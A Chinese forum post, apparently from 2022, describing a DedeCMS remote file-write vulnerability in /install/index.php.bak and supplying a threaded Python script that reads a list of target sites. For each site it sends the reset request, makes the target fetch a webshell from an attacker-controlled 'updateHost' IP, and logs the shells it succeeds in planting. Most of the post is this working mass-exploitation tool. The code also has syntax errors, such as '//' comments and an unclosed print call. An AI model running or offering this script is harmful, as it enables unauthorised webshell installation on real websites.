发布于2022年10月14日3年前 Dedecms远程文件写入漏洞。出现于/install/index.php.bak这个文件 详细情况请看:http://www.k2a.cn/131.html 正文: 思路: 1.先发送请求 /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php 进行清空 2.构造shell进行写入请求 3.验证shell是否存在 1 2 3 一开始我直接判断是否防火墙之类的东西,导致后面没有办法成功。所以 我这里就没有些判断什么防火墙的东西。直接判断shell有没有写入成功 代码: import requests import os import threading payload=['/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/xx.php&updateHost=http://your-IP/','/data/xx.php','shell的特征'] user=input('file:') if os.path.exists(user): //判断文件是否存在 print('[+]open {} ok !'.format(user)) else: print('[-]Not found {}'.format(user)) exit() def explot(urls): headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'} url1="{}".format(urls+payload[0]).strip() //构造URL url2="{}".format(urls+payload[1]).strip() gjz=payload[2] try: rw=requests.get(url='{}/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php '.format(urls),headers=headers) //发送请求进行清空 rqt=requests.get(url=url1,headers=headers) //远程写入 rqt2=requests.get(url=url2,headers=headers) if gjz in rqt2.text or gjz in rqt2.content.decode('utf-8'): //判断是否成功写入shell print('[+]shell url:{}'.format(rqt2.url) print('[+]shell url:{}'.format(rqt2.url),file=open('good.txt','a')) else: print('[-]no shell {}'.format(rqt2.url)) except: pass if __name__ == '__main__': dk=open('{}'.format(user),'r') for r in dk.readlines(): qc="".join(r.split('\n')) t=threading.Thread(target=explot,args=(qc,)) t.start() 测试结果:
创建帐户或登录后发表意见